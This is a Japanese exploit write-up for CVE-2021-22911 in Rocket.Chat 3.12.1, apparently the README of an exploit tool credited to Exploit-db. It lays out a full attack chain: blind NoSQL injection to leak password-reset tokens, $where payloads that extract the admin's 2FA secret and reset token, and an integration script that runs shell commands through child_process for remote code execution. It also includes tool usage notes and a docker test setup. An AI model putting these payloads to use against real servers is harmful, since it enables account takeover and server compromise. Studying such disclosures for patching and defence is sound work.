CVE-2021-22911
Rocket Chat 3.12.1 における、リモートコード実行に繋がる未認証ブラインド NoSQL インジェクション
- getPasswordPolicy メソッドは NoSQL インジェクション攻撃に対して脆弱であり、認証・認可を必要としません。パスワードリセットトークンを漏えいさせることでアカウントを乗っ取るために使用される可能性があります。管理者アカウントを乗っ取ると、リモートコード実行に繋がります。
解説
- ユーザーアカウントの乗っ取り(未認証)
- getPasswordPolicy エンドポイントのパスワードリセット token パラメータには NoSQL インジェクションが存在し、json オブジェクトを受け取るため $regex 演算子を使用できます。これを使用してブラインド NoSQL インジェクションを実行し、リセットトークンを取得します。
- 管理者への権限昇格(認証済み)
- そのため、admin ユーザーはおそらく 2FA で保護されています。(1) によって管理者のパスワードを変更しても、ログイン時に 2FA コードを求められます。
- users.list API エンドポイントはクエリパラメータを受け取りますが、NoSQL インジェクションに対して脆弱です。また、エラーを発生させることでデータを取得することもできます。
- 管理者の 2FA シークレットを取得するには、次のクエリを実行します :
{"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
- 次に、(1) を実行して管理者のパスワードをリセットし、2FA シークレットを使用してコードを生成し、ログインに使用します。
- 更新:2FA シークレットを取得したのと同じ方法で、リセットトークンも取得できます :
{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
- RCE(認証済み - 管理者)
- Rocket.Chat には Integrations と呼ばれる機能があり、受信および送信ウェブフックを作成できます。これらのウェブフックにはスクリプトを関連付けることができ、ウェブフックがトリガーされたときに実行されます。
- 次のスクリプトを使用してインテグレーションを作成します :
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
- 次に、ウェブフックをトリガーするだけで RCE を取得できます :)
使用方法
- 2FA を設定していない低権限ユーザーのメールアドレスが必要です。( -u )
- 管理者のメールアドレスも知っておく必要があります。管理者が 2FA で保護されていても問題ありません。( -a )
環境
- Rocket Chat 3.12.1 でテスト済み
- docker を使用した独自のテスト環境の構築 :
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
- パスワードポリシーを有効にする
- 管理者の 2FA を有効にする
- 通常ユーザーを登録する。
注:管理者を 2FA で保護したくない場合は、次のようにします。
- パスワード忘れのメールを送信する
- 管理者のリセットトークンを取得する
- 取得したリセットトークンを使用してパスワードを変更する
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)
クレジット
Exploit-db